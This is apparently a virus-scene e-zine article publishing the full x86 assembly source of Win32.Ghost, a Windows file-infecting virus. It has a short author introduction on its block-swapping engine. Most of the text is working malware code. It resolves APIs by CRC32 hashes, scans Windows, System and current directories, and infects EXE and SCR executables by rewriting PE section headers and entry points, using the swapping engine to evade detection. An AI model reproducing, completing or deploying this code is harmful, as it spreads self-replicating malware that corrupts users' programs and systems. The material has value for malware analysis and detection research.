

                                             ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
                                             ³ Xine - issue #5 - Phile 202 ³
                                             ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ




;
;ÄÄÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄ¿
; ÚÄÜÜÜÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÙ        [ Win32.Ghost      Billy Belcebu/iKX ]
; ÀÄÛÛÛÄÛÛÛÛÛÛÄÄÄÛÛÛÛÛÄÄ¿ ÚÄÄÄÄÄÄ[ 1731 bytes    Target - Win32 Ring3 ]ÄÄÄÄÄÄ
; ÚÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÙ ³      [ 09/05/00 - Made in Valencia, Spain ]
; ÀÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÄÄÙ
;
;
;
; [ Introduction ]
;
; Welcome to Ghost, the new  creation of Billy Belcebu (me!). Well, if you've
; read my 'Metamorphism Essay - Part II', i've just made a virus with a block
; swapping engine :) It's not  a new technique in  virus  coding, but i think
; it's the first time someone tries it in  Win32 viruses. Just a coding exer-
; cise, a previous step before  getting into the real metamorphism... step by
; step guys... i don't like  the pressure :) Well... this virus  is done very
; quickly, in much less time than all my other  viruses (except Win9x.Molly),
; because it taken  me 3 days to  make the whole thing... coding 1 or 2 hours
; per day. It isn't supposed to be the best virus on earth,but what the fuck,
; it's a virus, and it's written by me, so i am proud of it :)
;
; [ How it works? ]
;
; Well, let's imagine that this is the virus in its first generation:
;
;       A-BCDEFGHIJ-K ÄÄ virus
;
; The A and the K can't  be changed from  its place, because we need at least
; some routines  with a  fixed address (A) and  the  data  always in the same
; place (K).
;
; So if we pass the virus  through the BSE (Block Swapping Engine), we'll get
; all yhe routines with its  address changed. Let's see  it with  a graphical
; example:
;
;       A-BCDEFGHIJ-K ÄÄ[ BSE ]ÄÄ A-GBCFJEIDH-K
;
; For achieve  this goal  we have  an  structure with some references to each
; routine, called RIT (Routine Info Table), that  has an ID for each routine,
; and it's size. It's enough information for handle  all properly. Also, as i
; have  said  before we  have a BSE routine for process the RIT, and swap the
; routines randomly.
;
; It's not metamorphism, but it's cool anyway :)
;
; [ Features ]
;
;       + Block Swapping features included
;       + Some Win2k specific code (uses SFP)
;       + Infects EXE/SCR PE files
;       + Overwrites .reloc sections if present (renames .reloc to .ghost)
;       + Get's API addresses using only its CRC32
; 
; [ Why this name? ]
;
; Ok, the question present  in all viruses :) It's because  the last album of
; the  german  power metal  band Rage, called  Ghosts. It's the soundtrack of
; this virus. Specially i like the ballad 'Love and fear unite'... 
;
; [ Greetings ]
;
; To all the iKX family, specially  to StarZer0 and  Asmodeus for  the  moral
; support they gave me  in my  worse moments, and for  pushing me  to keep on
; coding. Also to my friends  in the VX  scene, and also  my  friend  of real
; life RunAwayColt (Potro Desbocado), for being there and helping me.
;
; (c) 2000 Billy Belcebu/iKX               [ http://beautifulpeople.cjb.net ]

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Win32.Ghost                                  (c) 2000 Billy Belcebu/iKX |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

        .586p
        .model  flat,stdcall

extrn   ExitProcess:PROC
extrn   MessageBoxA:PROC

        .data

szTtl   db      "Win32.Ghost",0
szMsg   db      "First Generation Host",10,13
        db      "(c) 2000 Billy Belcebu/iKX",0

virus_size      =       virus_end-virus_start
heap_size       =       heap_end-heap_start
total_size      =       virus_size+heap_size

PUSHAD_EDI      =       00h
PUSHAD_ESI      =       04h
PUSHAD_EBP      =       08h
PUSHAD_ESP      =       0Ch
PUSHAD_EBX      =       10h
PUSHAD_EDX      =       14h
PUSHAD_ECX      =       18h
PUSHAD_EAX      =       1Ch

MAX_PATH        =       104h

sign            =       00h
InfectPE        =       01h
CheckImageBase  =       02h
GetAPIs         =       03h
GetAPI_ET_CRC32 =       04h
CRC32           =       05h
InfectDir       =       06h
ProcessExtension=       07h
random          =       08h
r_range         =       09h
bse             =       0Ah

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routine Info Table handling stuff                                       |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

rit     struc
r_id    db      ?
r_size  dw      ?
rit     ends

rit_size =      size rit

rout    macro   routine_id,routine_start,routine_end
        db      routine_id
        dw      offset routine_end-offset routine_start
        endm

callr   macro   routine_id
        push    routine_id
        call    dword ptr [ebp+call_rit]
        endm

apicall macro   api2call
        call    dword ptr [ebp+api2call]
        endm

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | The virus code itself :P                                                |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

        .code

virus_start     =       $

host:
;       int     3
        push    eax
        pushad

        call    kaka
kaka:   pop     ebp
        sub     ebp,offset kaka

        lea     eax,[ebp+call_rit_routine]
        mov     dword ptr [ebp+call_rit],eax

        push    05h                             ; ECX is the limit of pages
        pop     ecx
        call    $+5                             ; We put a page inside our code
        pop     esi
        callr   CheckImageBase                  ; Get our own image base
        mov     dword ptr [ebp+ModBase],esi

        push    05h                             ; 50 pages to scan
        pop     ecx
        mov     esi,[esp.24h]                   ; Put the candidate to kernel
        callr   CheckImageBase                  ; Scan backwards for it
        mov     dword ptr [ebp+kernel],esi

;       lea     eax,[ebp+api_list]              ; Let's detect all the needed
        xchg    eax,esi                         ; APIs :)
        lea     edi,[ebp+api_addresses]
        callr   GetAPIs

; Let's mix the blocks :)

        push    80000                           ; Alloc lotsa memory...
        push    00h                             ; Better too much than not
        apicall GlobalAlloc                     ; enough :)
        mov     dword ptr [ebp+buffer],eax

; The memory is done like this table:
;       +-----------------------+
;       | Copy of RIT structure |
;       +-----------------------+
;       |   New RIT structure   |
;       +-----------------------+
;       |                       |
;       |    Swapped blocks     |
;       |                       |
;       +-----------------------+

        xchg    eax,edi                         ; Make a copy of the original
        lea     esi,[ebp+routine_info_table]    ; RIT in memory (for let BSE
        push    n_routines*rit_size             ; to handle it)
        pop     ecx
        rep     movsb
        mov     dword ptr [ebp+new_rit],edi     ; Save offset where we'll put
        mov     dword ptr [ebp+new_rit_mem],edi ; the new generated RIT
        add     edi,n_routines*rit_size
        mov     dword ptr [ebp+swapped_blocks],edi ; Save offset where we'll
        mov     dword ptr [ebp+swapped_blocks_mem],edi ; put swapped blocks :)

        callr   bse                             ; Call our BSE

        push    dword ptr [ebp+OldEIP]          ; Restore this interesting 
        push    dword ptr [ebp+ModBase]         ; info

; Infect some files in Windows, System and current directories

        lea     edi,[ebp+current_dir]           ; Save current directory to
        push    edi                             ; a temp variable
        push    MAX_PATH
        apicall GetCurrentDirectoryA

        lea     edi,[ebp+infect_dir]
        push    MAX_PATH
        push    edi
        apicall GetWindowsDirectoryA
        callr   InfectDir

        lea     edi,[ebp+infect_dir]
        push    MAX_PATH
        push    edi
        apicall GetSystemDirectoryA
        callr   InfectDir

        lea     edi,[ebp+current_dir]
        callr   InfectDir

        pop     dword ptr [ebp+ModBase]
        pop     dword ptr [ebp+OldEIP]

        mov     eax,00400000h
ModBase =       $-4
        add     eax,offset first_gen_host-400000h
OldEIP  =       $-4
        mov     [esp.20h],eax
        popad
        ret
        
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routine for call to swapped routines (dinamically)                      |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

; A bit weird, but w0rkz :)

call_rit_routine:
        pushad
        xor     eax,eax
        mov     ebx,[esp.24h]                   ; Get routine_id :)
        push    dword ptr [esp.20h]             ; Fix some stack things for
        pop     dword ptr [esp.24h]             ; be able to return...
        push    n_routines                      ; ECX = n of entries of RIT
        pop     ecx
        lea     edx,[ebp+swap_routines]         ; EDX = Ptr to swappable routines
        lea     esi,[ebp+routine_info_table]    ; ESI = Ptr to RIT
crr_loop:
        lodsb                                   ; Load id of routine
        cmp     al,bl                           ; Compare them
        jz      w3g0t1t
        lodsw
        add     edx,eax
        loop    crr_loop
w3g0t1t:
        mov     dword ptr [ebp+addr2call],edx
        popad

        mov     [esp],12345678h
addr2call =     $-4
        ret

; ===( Swappable routines )==================================================

swap_routines   =       $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Virus signature :P                                                      |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

signature:
        db      00h,"Win32.Ghost (c) 2000 Billy Belcebu/iKX",00h
signature_end = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routine for mix the blocks                                              |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

block_swapping_engine:
        mov     byte ptr [ebp+rout_counter],n_routines
thereisnoloveforme:
        mov     esi,dword ptr [ebp+buffer]
        mov     edi,dword ptr [ebp+new_rit]
get_another_rit_entry:
        push    n_routines
        pop     eax
        callr   r_range
        mov     ebx,eax                         ; EBX = its place in RIT struc
        imul    eax,eax,03h                     ; Get a random block
        add     eax,esi                         ; EAX = Address of RIT entry
        cmp     word ptr [eax],00h
        jz      get_another_rit_entry

        xchg    eax,esi
        movsb                                   ; Copy the RIT entry into
        movzx   ecx,word ptr [esi]
        movsw                                   ; the new RIT structure
        mov     edi,esi
        sub     edi,3
        xor     eax,eax
        stosw                                   ; Nulify that entry
        stosb
        cdq

        lea     esi,[ebp+routine_info_table]
        xchg    ecx,ebx
        jecxz   over_build_offs
build_offset:
        lodsb
        lodsw
        add     edx,eax      
        loop    build_offset

over_build_offs:                                  ; EDX = Offset of the code
        lea     esi,dword ptr [ebp+swap_routines] ;     of the RIT entry
        add     esi,edx
        mov     edi,dword ptr [ebp+swapped_blocks]
        mov     ecx,ebx
        rep     movsb
        add     dword ptr [ebp+swapped_blocks],ebx ; Ptr to next routine

        add     dword ptr [ebp+new_rit],3         ; Ptr to next block

        dec     byte ptr [ebp+rout_counter]
        jnz     thereisnoloveforme       
        ret
end_block_swapping_engine = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Search files by wildcards (Ring-3 runtime method)                       |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

SetNewDir&InfectFilesInDirectory:
        mov     dword ptr [ebp+temp_esp],esp
        push    edi
        apicall SetCurrentDirectoryA
InfectFilesInDirectory:
        lea     eax,[ebp+WIN32_FIND_DATA]       ; Search for files
        push    eax
        call    omask
        db      "*.*",0
omask:  apicall FindFirstFileA

        inc     eax
        jz      FailOccured
        dec     eax

        mov     dword ptr [ebp+SearchHandle],eax

SearchForMore:
        lea     edi,[ebp+WFD_szFileName]        ; Is the file found factible
        push    edi                             ; of being infected?
        callr   ProcessExtension
        jecxz   NotThisTime                     ; Nopes.

        callr   InfectPE                        ; It's a PE executable

NotThisTime:
        lea     edi,[ebp.WIN32_FIND_DATA]       ; Fill this with zeroes
        mov     ecx,WFD_Size
	xor     al,al
        push    edi
        rep     stosb                           ; Search for more filez :)
        push    dword ptr [ebp+SearchHandle]
        apicall FindNextFileA

        or      eax,eax
        jnz     SearchForMore

CloseSearchHandle:
        push    dword ptr [ebp+SearchHandle]
        apicall FindClose
FailOccured:
        mov     esp,dword ptr [ebp+temp_esp]
        ret
EndSetNewDir&InfectFilesInDirectory = $

ProcessExtension_:
; input:
;       EDI - Pointer to file name
; output:
;       ECX - 00 - Error: not handled extension
;             01 - Possible PE file

        push    edi
        xor     ecx,ecx                         ; Clear ECX

        mov     al,"."                          ; Search for da point
        scasb
        jnz     $-1
        mov     eax,[edi]                       ; Get the extension

        or      eax,00202020h                   ; Make it lowercase
        cmp     eax,"exe"                       ; EXE?
        jz      MaybePE
        cmp     eax,"rcs"                       ; SCR?
        jnz     NotHandledExtension
MaybePE:inc     ecx
NotHandledExtension:
        pop     edi
        ret
EndProcessExtension = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Infect PE                                                               |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

InfectPEfile:
        cmp     dword ptr [ebp+SfcIsFileProtected],00h
        jz      NotInWin2k

        push    edi                             ; See if file is protected 
        push    00h                             ; with SFC functions
        apicall SfcIsFileProtected

        or      eax,eax                         ; If so, don't infect
        jnz     ExitInfectPE

NotInWin2k:
        push    80h                             ; Destroy hostile attributes
        push    edi
        apicall SetFileAttributesA

        xor     eax,eax                         ; Open file for R/W
	push    eax
	push    eax
        push    03h
	push    eax
	inc     eax
	push    eax
        push    0C0000000h
        push    edi
        apicall CreateFileA

        inc     eax
        jz      ExitInfectPE
        dec     eax

        mov     dword ptr [ebp+FileHandle],eax  ; Save handle of opened file

        push    eax

        push    00h
        push    eax
        apicall GetFileSize                     ; Get its size
        pop     ecx
        add     eax,total_size

        push    eax

        xor     ebx,ebx                         ; EBX = 0
        push    ebx
        push    eax                             ; push size
        push    ebx
        push    04h
        push    ebx
        push    ecx                             ; push handle
        apicall CreateFileMappingA

        pop     ecx                             ; ECX = Size to map

        test    eax,eax
        jz      CloseFileExitInfectPE

        mov     dword ptr [ebp+MapHandle],eax

        xor     ebx,ebx
	push    ecx
        push    ebx
        push    ebx
        push    02h
        push    eax
        apicall MapViewOfFile

        test    eax,eax
        jz      UnMap&CloseMap&FileExitInfectPE

        mov     dword ptr [ebp+MapAddress],eax

        mov     esi,[eax+3Ch]
        add     esi,eax

        cmp     word ptr [esi],"EP"
        jnz     UnMap&CloseMap&FileExitInfectPE

        cmp     dword ptr [esi+4Ch],"EGAR"
        jz      UnMap&CloseMap&FileExitInfectPE

        and     dword ptr [esi+58h],00h

        mov     dword ptr [esi+4Ch],"EGAR"

	mov     edi,esi

	movzx   eax,word ptr [edi+06h]
	dec     eax
	imul    eax,eax,28h
	add     esi,eax
	add     esi,78h
	mov     edx,[edi+74h]
	shl     edx,03h
        add     esi,edx                         ; ESI = Last section header
                                                ; EDI = PE header

        or      [esi+24h],0A0000020h            ; New section attributes

        and     dword ptr [edi+0A0h],00h        ; Nulify fixups
        and     dword ptr [edi+0A4h],00h

        cmp     dword ptr [esi],"ler."
        jnz     RelocNotLast
        cmp     dword ptr [esi+4],"co"
        jnz     RelocNotLast

; Overwriting stage, .reloc is last section

        mov     dword ptr [esi],"ohg."          ; Set new section name to
        mov     dword ptr [esi+4],"ts"          ; ".ghost"

        and     dword ptr [esi+18h],00h         ; Clear PointerToRelocations
        and     word ptr [esi+20h],00h          ; Clear NumberOfRelocations

        push    dword ptr [esi+14h]             ; Where copy virus

        mov     eax,virus_size
        mov     [esi+08h],eax                   ; VirtualSize -> virus size
        mov     ecx,[edi+3Ch]                   ; ECX = Alignment

        cdq                                     ; Align, sucker
        push    eax
        div     ecx
        pop     eax
        sub     ecx,edx
        add     eax,ecx

        mov     [esi+10h],eax                   ; SizeOfRawData -> aligned
                                                ;                  virus size

        mov     eax,[esi+10h]                   ; Fix ImageSize to allow it
        add     eax,[esi+0Ch]                   ; to work in NT :P
        mov     [edi+50h],eax
        
        mov     eax,[esi+0Ch]                   ; New EIP
        xchg    eax,[edi+28h]                   ; Put new EIP and get old one
        mov     dword ptr [ebp+OldEIP],eax      ; Save it

        pushad

        mov     eax,[esi+14h]                   ; EDX = Where truncate
        add     eax,[esi+10h]
        mov     ecx,[edi+3Ch]

        cdq                                     ; Align, sucker
        push    eax
        div     ecx
        pop     eax
        sub     ecx,edx
        add     eax,ecx

        mov     [esp.PUSHAD_EDX],eax

        popad

        pop     edi
        jmp     copy_virus

; Normal stage, .reloc not last or not present

RelocNotLast:
        mov     edx,[esi+10h]
        mov     ebx,edx
        add     edx,[esi+14h]

        push    edx

        mov     eax,ebx
        add     eax,[esi+0Ch]
        xchg    [edi+28h],eax                   ; Put new EIP
        mov     dword ptr [ebp+OldEIP],eax

        mov     eax,[esi+10h]
        add     eax,virus_size
        mov     ecx,[edi+3Ch]

        cdq                                     ; Align, sucker
        push    eax
        div     ecx
        pop     eax
        sub     ecx,edx
        add     eax,ecx

        mov     [esi+10h],eax
        mov     [esi+08h],eax
        xchg    eax,edx

        mov     eax,[esi+10h]
        add     eax,[esi+0Ch]
        mov     [edi+50h],eax

        add     edx,[esi+14h]

        pop     edi

copy_virus:
        lea     esi,[ebp+virus_start]           ; Copy fixed part of virus
        add     edi,dword ptr [ebp+MapAddress]
        mov     ecx,(virus_size-(virus_end-swap_routines))
        rep     movsb

        mov     esi,dword ptr [ebp+swapped_blocks_mem] ; Copy swapped part
        mov     ecx,end_swap_routines-swap_routines
        rep     movsb

        mov     esi,dword ptr [ebp+new_rit_mem] ; Copy new RIT
        mov     ecx,n_routines*3
        rep     movsb

Trunc&UnMap&CloseMap&FileExitInfectPE:
        xor     eax,eax
        push    eax
        push    eax
        push    edx
        push    dword ptr [ebp+FileHandle]
        apicall SetFilePointer

        push    dword ptr [ebp+FileHandle]
        apicall SetEndOfFile

UnMap&CloseMap&FileExitInfectPE:
        push    dword ptr [ebp+MapAddress]
        apicall UnmapViewOfFile

CloseMap&FileExitInfectPE:
        push    dword ptr [ebp+MapHandle]
        apicall CloseHandle

CloseFileExitInfectPE:
        push    dword ptr [ebp+FileHandle]
        apicall CloseHandle

ExitInfectPE:
        ret
EndInfectPE = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Miscellaneous routines                                                  |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

CheckImageBase_:
; input:
;       ESI - Address inside module
;       ECX - Limit
; output:
;       ESI - module address

        and     esi,0FFFF0000h
        cmp     word ptr [esi],"ZM"
        jz      ItWasKewlEnough
NotCoolAddress:
        sub     esi,00010000h
        loop    CheckImageBase_
ItWasKewlEnough:
        ret
EndCheckImageBase = $

CRC32_:
; input:
;       ESI - Pointer to the code to process
;       EDI - Size of such code
; output:
;       EAX - CRC32 of that code

	cld
        pushad
	xor     ecx,ecx                         ; Optimized by me - 2 bytes
	dec     ecx                             ; less
	mov     edx,ecx
NextByteCRC:
	xor     eax,eax
	xor     ebx,ebx
	lodsb
	xor     al,cl
	mov     cl,ch
	mov     ch,dl
	mov     dl,dh
	mov     dh,8
NextBitCRC:
	shr     bx,1
	rcr     ax,1
	jnc     NoCRC
	xor     ax,08320h
	xor     bx,0EDB8h
NoCRC:  dec     dh
	jnz     NextBitCRC
	xor     ecx,eax
	xor     edx,ebx
	dec     edi                             ; Another fool byte less
	jnz     NextByteCRC
	not     edx
	not     ecx
        xchg    eax,edx                         ; Another byte less
	rol     eax,16
	mov     ax,cx
        mov     [esp.PUSHAD_EAX],eax
        popad
	ret
EndCRC32 = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | APICRC32 engine                                                         |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

; The pseudo-structure for the APICRC32 engine is the following:
;
;       * ASCIIz String of the library (not needed for KERNEL32)
;       * CRC32 of APIs we need
;       * BB byte (for signalize the end of exports needed of that function)
;       * ... (repeat the above points the times you need->libraries u use)
;       * "" byte (for signalize the definitive end of imports)

GetAPIs_:
        call    oAPI

@FindFirstFileA         dd      0AE17EBEFh
@FindNextFileA          dd      0AA700106h
@FindClose              dd      0C200BE21h
@CreateFileA            dd      08C892DDFh
@DeleteFileA            dd      0DE256FDEh
@SetFilePointer         dd      085859D42h
@SetFileAttributesA     dd      03C19E536h
@CloseHandle            dd      068624A9Dh
@GetCurrentDirectoryA   dd      0EBC6C18Bh
@SetCurrentDirectoryA   dd      0B2DBD7DCh
@GetWindowsDirectoryA   dd      0FE248274h
@GetSystemDirectoryA    dd      0593AE7CEh
@CreateFileMappingA     dd      096B2D96Ch
@MapViewOfFile          dd      0797B49ECh
@UnmapViewOfFile        dd      094524B42h
@SetEndOfFile           dd      059994ED6h
@GetFileSize            dd      0EF7D811Bh
@GlobalAlloc            dd      083A353C3h
@GlobalFree             dd      05CDF6B6Ah
@LoadLibraryA           dd      04134D1ADh
@FreeLibrary            dd      0AFDF191Fh
@GetTickCount           dd      0613FD7BAh
                        db      0BBh

                        db      "SFC",0
@SfcIsFileProtected     dd      06DE8F7ABh
                        db      0BBh
                        db      ""

oAPI:   pop     esi

GetAPIs__:
; input:
;       EAX - Base address of the library where search the APIs
;       ESI - Pointer to an array of CRC32 of the APIs we want to search
;       EDI - Pointer to where store the APIs
; output:
;       Nothing.

	push    eax                             ; EAX = Handle of module
        pop     dword ptr [ebp+TmpModuleBase]
APIS33K:
	lodsd                                   ; Get in EAX the CRC32 of API
        push    esi edi
        callr   GetAPI_ET_CRC32
        pop     edi esi
	stosd                                   ; Save in [EDI] the API address

        cmp     byte ptr [esi],0BBh             ; There are more APIs in this
        jnz     APIS33K                         ; library

        inc     esi                             ; Check if it's the last of
        cmp     byte ptr [esi],""              ; all them
        jz      EndOfAPISearch

        push    esi                             ; ESI points now to the ASCIIz
        apicall LoadLibraryA                    ; string of a library... We
                                                ; need to load it!
        push    eax

nxtchr: lodsb                                   ; Reach the end of the lib
        test    al,al                           ; asciiz name
        jnz     nxtchr

        pop     eax
        jmp     GetAPIs__

EndOfAPISearch:
        ret
EndGetAPIs = $

GetAPI_ET_CRC32_:
; input:
;       EAX - CRC32 of the API we want to know its address
; output:
;       EAX - API address, NULL if error

	xor     edx,edx

        pushad

        call    over_APICRC32_SEH
        mov     esp,[esp+08h]                   ; Set stack as before
        xor     eax,eax                         ; signalize the error
        jmp     Remove_APICRC32_SEH       

over_APICRC32_SEH:
        push    dword ptr fs:[edx]              ; Set new SEH frame
        mov     dword ptr fs:[edx],esp

	xchg    eax,edx                         ; Put CRC32 of da api in EDX
        mov     dword ptr [ebp+Counter],eax     ; Clear this field :)
        push    3Ch
        pop     esi
        add     esi,[ebp+TmpModuleBase]         ; Get PE header of module
	lodsw
        add     eax,[ebp+TmpModuleBase]         ; Normalize

        push    1Ch
        pop     esi
        add     esi,[eax+78h]                   ; Get a pointer to its edata
        add     esi,[ebp+TmpModuleBase]

        lea     edi,[ebp+AddressTableVA]        ; Pointer to the address table
	lodsd                                   ; Get AddressTable value
        add     eax,[ebp+TmpModuleBase]         ; Normalize
	stosd                                   ; And store in its variable

	lodsd                                   ; Get NameTable value
        add     eax,[ebp+TmpModuleBase]         ; Normalize
	push    eax                             ; Put it in stack
	stosd                                   ; Store in its variable

	lodsd                                   ; Get OrdinalTable value
        add     eax,[ebp+TmpModuleBase]         ; Normalize
	stosd                                   ; Store

	pop     esi                             ; ESI = NameTable VA

@?_3:   lodsd                                   ; Get pointer to an API name
        push    esi                             ; Save again
        add     eax,[ebp+TmpModuleBase]         ; Normalize
	xchg    edi,eax                         ; Store ptr in EDI
	mov     ebx,edi                         ; And in EBX

	push    edi                             ; Save EDI
        xor     al,al
        scasb
        jnz     $-1
	pop     esi                             ; ESI = Pointer to API Name

	sub     edi,ebx                         ; EDI = API Name size

	push    edx                             ; Save API's CRC32
        callr   CRC32                           ; Get actual api's CRC32
	pop     edx                             ; Restore API's CRC32
	cmp     edx,eax                         ; Are them equal?
	jz      @?_4                            ; if yes, we got it

	pop     esi                             ; Restore ptr to api name
        inc     dword ptr [ebp+Counter]         ; And increase the counter
	jmp     @?_3                            ; Get another api!
@?_4:
	pop     esi                             ; Remove shit from stack
        mov     eax,dword ptr [ebp+Counter]     ; Put in EAX the number that
                                                ; the API occupy in list.
	shl     eax,1                           ; *2 (it's an array of words)
        add     eax,[ebp+OrdinalTableVA]        ; Normalize
	xchg    eax,esi                         ; ESI = Ptr 2 ordinal; EAX = 0
	lodsw                                   ; Get ordinal in AX
	cwde                                    ; Clear MSW of EAX
	shl     eax,2                           ; And with it we go to the
        add     eax,[ebp+AddressTableVA]        ; AddressTable (array of
	xchg    esi,eax                         ; dwords)
	lodsd                                   ; Get Address of API RVA
        add     eax,[ebp+TmpModuleBase]         ; and normalize!! That's it!

Remove_APICRC32_SEH:
        xor     edx,edx                         ; Remove that SEH frame
        pop     dword ptr fs:[edx]
        pop     edx
        mov     [esp.PUSHAD_EAX],eax
        popad
	ret
EndGetAPI_ET_CRC32 = $

GetRandom:
; input:
;       Nothing.
; output:
;       EAX - Random number

        push    ebx edx
        apicall GetTickCount
        call    _seed
        dd      "RAGE"
_seed:  pop     ebx
        xor     eax,[ebx]
        mov     [ebx],eax
        pop     edx ebx
        ret
EndGetRandom = $

GetRandomRange:
; input:
;       EAX - Range
; output:
;       EAX - Random number into that range

        push    ecx
        push    edx
        mov     ecx,eax
        callr   random
        xor     edx,edx
        div     ecx
        mov     eax,edx
        pop     edx
        pop     ecx
        ret
EndGetRandomRange = $

; ===( End of swappable routines )===========================================

end_swap_routines =     $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routines table                                                          |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

routine_info_table:
        rout    sign,signature,signature_end
        rout    bse,block_swapping_engine,end_block_swapping_engine
        rout    InfectDir,SetNewDir&InfectFilesInDirectory,EndSetNewDir&InfectFilesInDirectory
        rout    ProcessExtension,ProcessExtension_,EndProcessExtension
        rout    InfectPE,InfectPEfile,EndInfectPE
        rout    CheckImageBase,CheckImageBase_,EndCheckImageBase
        rout    CRC32,CRC32_,EndCRC32
        rout    GetAPIs,GetAPIs_,EndGetAPIs
        rout    GetAPI_ET_CRC32,GetAPI_ET_CRC32_,EndGetAPI_ET_CRC32
        rout    random,GetRandom,EndGetRandom
        rout    r_range,GetRandomRange,EndGetRandomRange
n_routines =    (($-routine_info_table)/rit_size)

virus_end       =       $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Data in the heap                                                        |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

heap_start      =       $
kernel          dd      ?
TmpModuleBase   dd      ?
AddressTableVA  dd      ?
NameTableVA     dd      ?
OrdinalTableVA  dd      ?
Counter         dd      ?
SearchHandle    dd      ?
call_rit        dd      ?
buffer          dd      ?
new_rit         dd      ?
new_rit_mem     dd      ?
swapped_blocks  dd      ?
swapped_blocks_mem dd   ?
rout_counter    db      ?
FileHandle      dd      ?
MapHandle       dd      ?
MapAddress      dd      ?
temp_esp        dd      ?

api_addresses   =       $
FindFirstFileA          dd      ?
FindNextFileA           dd      ?
FindClose               dd      ?
CreateFileA             dd      ?
DeleteFileA             dd      ?
SetFilePointer          dd      ?
SetFileAttributesA      dd      ?
CloseHandle             dd      ?
GetCurrentDirectoryA    dd      ?
SetCurrentDirectoryA    dd      ?
GetWindowsDirectoryA    dd      ?
GetSystemDirectoryA     dd      ?
CreateFileMappingA      dd      ?
MapViewOfFile           dd      ?
UnmapViewOfFile         dd      ?
SetEndOfFile            dd      ?
GetFileSize             dd      ?
GlobalAlloc             dd      ?
GlobalFree              dd      ?
LoadLibraryA            dd      ?
FreeLibrary             dd      ?
GetTickCount            dd      ?
SfcIsFileProtected      dd      ?

current_dir             db      MAX_PATH dup (?)
infect_dir              db      MAX_PATH dup (?)

WIN32_FIND_DATA         label   byte
WFD_dwFileAttributes    dd      ?
WFD_ftCreationTime      dq      ?
WFD_ftLastAccessTime    dq      ?
WFD_ftLastWriteTime     dq      ?
WFD_nFileSizeHigh       dd      ?
WFD_nFileSizeLow        dd      ?
WFD_dwReserved0         dd      ?
WFD_dwReserved1         dd      ?
WFD_szFileName          db      MAX_PATH dup (?)
WFD_szAlternateFileName db      13 dup (?)
			db      03 dup (?)
WFD_Size                =       $-WIN32_FIND_DATA


heap_end        =       $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | First generation host                                                   |
